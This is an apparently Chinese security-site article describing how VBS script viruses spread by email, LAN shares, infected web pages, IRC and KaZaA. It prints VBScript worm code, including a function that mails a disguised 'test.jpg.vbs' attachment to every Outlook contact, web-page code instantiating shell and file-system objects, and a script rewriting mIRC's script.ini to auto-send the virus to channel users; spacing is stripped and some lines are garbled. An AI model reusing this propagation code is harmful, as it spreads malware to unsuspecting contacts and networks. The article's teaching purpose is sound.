VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能。那么,vbs脚本病毒通过网络有几种传播方式呢?
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
FunctionmailBroadcast()
onerrorresumenext
wscript.echo
SetoutlookApp=CreateObject("Outlook.Application")//创建一个OUTLOOK应用的对象
IfoutlookApp="Outlook"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")//获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists//获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count//获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount//遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)//获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)//获取具体Email地址
item.To=addrEnt.Address//填入收信人地址item.Subject="病毒传播实验"//写入邮件标题
item.Body="这里是病毒邮件传播测试,收到此信请不要慌张!"//写入文件内容
SetattachMents=item.Attachments//定义邮件附件
attachMents.AddfileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit=True//信件提交后自动删除
Ifitem.To<>""Then
item.Send//发送邮件
shellObj.regwrite"HKCU\software\Mailtest\mailed","1"//病毒标记,以免重复感染
EndIf
Next
EndIf
Next
Endif
EndFunction
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg="网络连接搜索测试"
SetWSHNetwork=WScript.CreateObject("WScript.Network")'创建一个网络对象
SetoPrinters=WshNetwork.EnumPrinterConnections'创建一个网络打印机连接列表
WScript.Echo"Networkprintermappings:"
Fori=0tooPrinters.Count-1Step2'显示网络打印机连接情况
WScript.Echo"Port"&oPrinters.Item(i)&"="&oPrinters.Item(i+1)
Next
SetcolDrives=WSHNetwork.EnumNetworkDrives'创建一个网络共享连接列表
IfcolDrives.Count=0Then
MsgBox"没有可列出的驱动器。",vbInformation+vbOkOnly,welcome_msg
Else
strMsg="当前网络驱动器连接:"&CRLF
Fori=0TocolDrives.Count-1Step2
strMsg=strMsg&Chr(13)&Chr(10)&colDrives(i)&Chr(9)&colDrives(i+1)
Next
MsgBoxstrMsg,vbInformation+vbOkOnly,welcome_msg'显示当前网络驱动器连接
EndIf
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染htm、asp、jsp、php等网页文件传播
如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中对它他的说明是“WindowsScriptHostShellObject”,同样,我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注册表对它的说明是“FileSystemObject”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
SetApple0bject=document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance()'创建一个实例
SetWsShellApple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()'创建一个实例
SetFSO=Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。
4)通过IRC聊天通道传播
病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dimmirc
setfso=CreateObject("Scripting.FileSystemObject")
setmirc=fso.CreateTextFile("C:\mirc\script.ini")'创建文件script.ini
fso.CopyFileWscript.ScriptFullName,"C:\mirc\attachment.vbs",True'将病毒文件备份到attachment.vbs
mirc.WriteLine"[script]"
mirc.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:\mirc\attachment.vbs}"
'利用命令/ddcsend$nickattachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
以上代码用来往Script.ini文件中写入一行代码,实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令,这个文件里面的命令是可以自动执行的。譬如,“歌虫”病毒TUNE.VBS就会修改c:\mirc\script.ini和c:\mirc\mirc.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样,如果Pirch98已安装在目标计算机的c:\pirch98目录下,病毒就会修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中,这样,当其他用户访问这台机器时,就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法,我们这里不再一一列举。想要了解怎样检测清除脚本病毒吗,那么,来佰佰安全网吧,小编后续会介绍这部分网络病毒小知识哦。
( 责任编辑: 邹兰 )